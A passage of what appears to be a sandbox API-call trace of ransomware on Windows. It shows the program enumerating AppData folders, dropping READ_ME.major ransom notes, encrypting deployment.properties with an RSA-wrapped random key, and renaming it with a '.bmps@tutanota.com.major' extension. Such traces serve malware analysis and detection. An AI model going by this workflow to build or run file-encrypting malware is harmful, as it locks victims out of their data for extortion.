dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="deployment.properties", cAlternateFileName="DEPLOY~1.PRO")) returned 1 [0207.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b678 | out: hHeap=0x570000) returned 1 [0207.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0207.200] GetLastError () returned 0x12 [0207.200] GetLastError () returned 0x12 [0207.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af08 | out: hHeap=0x570000) returned 1 [0207.200] GetLastError () returned 0x12 [0207.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4128 | out: hHeap=0x570000) returned 1 [0207.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9d08 | out: hHeap=0x570000) returned 1 [0207.200] FindNextFileW (in: hFindFile=0x2f2d0d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xd337c3d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="log", cAlternateFileName="")) returned 1 [0207.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6643a0 | out: hHeap=0x570000) returned 1 [0207.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0207.200] GetLastError () returned 0x12 [0207.200] GetLastError () returned 0x12 [0207.200] GetLastError () returned 0x12 [0207.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0207.200] GetLastError () returned 0x12 [0207.200] GetLastError () returned 0x12 [0207.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0207.200] GetLastError () returned 0x12 [0207.201] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\java\\deployment\\log\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150c [0207.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65d380 | out: hHeap=0x570000) returned 1 [0207.201] WriteFile (in: hFile=0x150c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.202] CloseHandle (hObject=0x150c) returned 1 [0207.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6643a0 | out: hHeap=0x570000) returned 1 [0207.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0207.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0207.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0207.202] FindNextFileW (in: hFindFile=0x2f2d0d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x320b55dd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x320b55dd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32101b77, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b4e0 | out: hHeap=0x570000) returned 1 [0207.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0207.203] GetLastError () returned 0x0 [0207.203] GetLastError () returned 0x0 [0207.203] GetLastError () returned 0x0 [0207.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9bc8 | out: hHeap=0x570000) returned 1 [0207.203] FindNextFileW (in: hFindFile=0x2f2d0d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07d8c0f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07d8c0f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07d8c0f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="security", cAlternateFileName="")) returned 1 [0207.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0207.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0207.203] GetLastError () returned 0x0 [0207.203] GetLastError () returned 0x0 [0207.203] GetLastError () returned 0x0 [0207.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9a60 | out: hHeap=0x570000) returned 1 [0207.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9a88 | out: hHeap=0x570000) returned 1 [0207.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0207.203] GetLastError () returned 0x0 [0207.203] GetLastError () returned 0x0 [0207.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0207.203] GetLastError () returned 0x0 [0207.203] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\java\\deployment\\security\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150c [0207.204] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3928 | out: hHeap=0x570000) returned 1 [0207.204] WriteFile (in: hFile=0x150c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.205] CloseHandle (hObject=0x150c) returned 1 [0207.205] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664530 | out: hHeap=0x570000) returned 1 [0207.205] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0207.205] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0207.205] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0207.205] FindNextFileW (in: hFindFile=0x2f2d0d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="tmp", cAlternateFileName="")) returned 1 [0207.205] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0207.205] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0207.205] GetLastError () returned 0x0 [0207.206] GetLastError () returned 0x0 [0207.206] GetLastError () returned 0x0 [0207.206] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0207.206] GetLastError () returned 0x0 [0207.206] GetLastError () returned 0x0 [0207.206] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af08 | out: hHeap=0x570000) returned 1 [0207.206] GetLastError () returned 0x0 [0207.206] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\java\\deployment\\tmp\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150c [0207.207] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65cd90 | out: hHeap=0x570000) returned 1 [0207.207] WriteFile (in: hFile=0x150c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.208] CloseHandle (hObject=0x150c) returned 1 [0207.208] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664468 | out: hHeap=0x570000) returned 1 [0207.208] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0207.208] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0207.208] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0207.208] FindNextFileW (in: hFindFile=0x2f2d0d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="tmp", cAlternateFileName="")) returned 0 [0207.208] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0207.208] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties", dwFileAttributes=0x80) returned 1 [0207.209] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3538 | out: hHeap=0x570000) returned 1 [0207.209] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150c [0207.209] GetFileSizeEx (in: hFile=0x150c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=745) returned 1 [0207.209] ReadFile (in: hFile=0x150c, lpBuffer=0x5a8108, nNumberOfBytesToRead=0x2e9, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesRead=0x2e3f9b4*=0x2e9, lpOverlapped=0x0) returned 1 [0207.234] SetFilePointer (in: hFile=0x150c, lDistanceToMove=-745, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0207.234] WriteFile (in: hFile=0x150c, lpBuffer=0x66e548*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2e9, lpOverlapped=0x0) returned 1 [0207.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0207.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e548 | out: hHeap=0x570000) returned 1 [0207.234] SetFilePointer (in: hFile=0x150c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2e9 [0207.234] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.234] WriteFile (in: hFile=0x150c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.234] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0207.234] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0207.234] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0207.235] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="aA4nyF4J2IAUmvWT3+nl/RK+L1mAAZLQ/HVKQ4VJmiKKcttrJb45SW+lUnpH5x0h\nmO2xxw8BGLkVAhMwLq6qIC4KDARMYj8r0ndc+mUtNRa941AnBd893XVcfPan9N1U\nBpQTD4WTPH3DH2O/XnvhxX7gDwIz296WNC25uhPSEbkRX19cBx9iTq5vhINeS2QJ\nJJYHXil4tEaCCcF0ohuKKFxFsjffu7R2ofqbvzC/vroqdphuze+Bb/b+kL7cEPiG\n/lNUd3VcqCGmM9SNUUMiG/YNJLAsO3Z3k61IHbQMHNJMjq6gRVUbY0n3WKR04akl\nmUPVIGO/HjcdeBZD748Adw==\n", pcchString=0x2e3f9a8) returned 1 [0207.235] WriteFile (in: hFile=0x150c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0207.235] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.235] WriteFile (in: hFile=0x150c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.235] CloseHandle (hObject=0x150c) returned 1 [0207.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0207.235] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), lpNewFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0207.319] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6598c0 | out: hHeap=0x570000) returned 1 [0207.319] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9d30 | out: hHeap=0x570000) returned 1 [0207.319] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3730 | out: hHeap=0x570000) returned 1 [0207.319] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee39d0 | out: hHeap=0x570000) returned 1 [0207.319] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0207.319] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ed8 | out: hHeap=0x570000) returned 1 [0207.319] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656c18 | out: hHeap=0x570000) returned 1 [0207.319] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x32101b77, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d458 [0207.319] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0207.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0207.320] GetLastError () returned 0x0 [0207.320] GetLastError () returned 0x0 [0207.320] GetLastError () returned 0x0 [0207.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be318 | out: hHeap=0x570000) returned 1 [0207.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2d818 | out: hHeap=0x570000) returned 1 [0207.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0207.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9e70 | out: hHeap=0x570000) returned 1 [0207.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0207.320] FindNextFileW (in: hFindFile=0x2f2d458, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x32101b77, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0207.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0207.320] GetLastError () returned 0x0 [0207.321] GetLastError () returned 0x0 [0207.321] GetLastError () returned 0x0 [0207.321] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be268 | out: hHeap=0x570000) returned 1 [0207.321] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2d698 | out: hHeap=0x570000) returned 1 [0207.321] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0207.321] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9bf0 | out: hHeap=0x570000) returned 1 [0207.321] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0207.321] FindNextFileW (in: hFindFile=0x2f2d458, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Collab", cAlternateFileName="")) returned 1 [0207.321] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aac8 | out: hHeap=0x570000) returned 1 [0207.321] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0207.321] GetLastError () returned 0x0 [0207.321] GetLastError () returned 0x0 [0207.321] GetLastError () returned 0x0 [0207.321] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0207.322] GetLastError () returned 0x0 [0207.322] GetLastError () returned 0x0 [0207.322] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0207.322] GetLastError () returned 0x0 [0207.322] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\collab\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1510 [0207.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65d120 | out: hHeap=0x570000) returned 1 [0207.328] WriteFile (in: hFile=0x1510, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.331] CloseHandle (hObject=0x1510) returned 1 [0207.334] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6643a0 | out: hHeap=0x570000) returned 1 [0207.334] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0207.334] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0207.334] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd880 | out: hHeap=0x570000) returned 1 [0207.334] FindNextFileW (in: hFindFile=0x2f2d458, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Forms", cAlternateFileName="")) returned 1 [0207.334] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0207.334] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0207.334] GetLastError () returned 0x0 [0207.334] GetLastError () returned 0x0 [0207.334] GetLastError () returned 0x0 [0207.335] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0207.335] GetLastError () returned 0x0 [0207.335] GetLastError () returned 0x0 [0207.335] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0207.335] GetLastError () returned 0x0 [0207.335] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\forms\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1510 [0207.339] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65ca98 | out: hHeap=0x570000) returned 1 [0207.339] WriteFile (in: hFile=0x1510, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.344] CloseHandle (hObject=0x1510) returned 1 [0207.346] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664918 | out: hHeap=0x570000) returned 1 [0207.346] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0207.347] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0207.347] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0207.347] FindNextFileW (in: hFindFile=0x2f2d458, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd82b1d84, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="JSCache", cAlternateFileName="")) returned 1 [0207.347] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0207.347] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0207.347] GetLastError () returned 0x0 [0207.347] GetLastError () returned 0x0 [0207.347] GetLastError () returned 0x0 [0207.347] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0207.347] GetLastError () returned 0x0 [0207.347] GetLastError () returned 0x0 [0207.347] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0207.347] GetLastError () returned 0x0 [0207.347] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1510 [0207.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65c248 | out: hHeap=0x570000) returned 1 [0207.351] WriteFile (in: hFile=0x1510, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.353] CloseHandle (hObject=0x1510) returned 1 [0207.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6643a0 | out: hHeap=0x570000) returned 1 [0207.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0207.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0207.353] HeapFree (in: hHeap=0x570000, 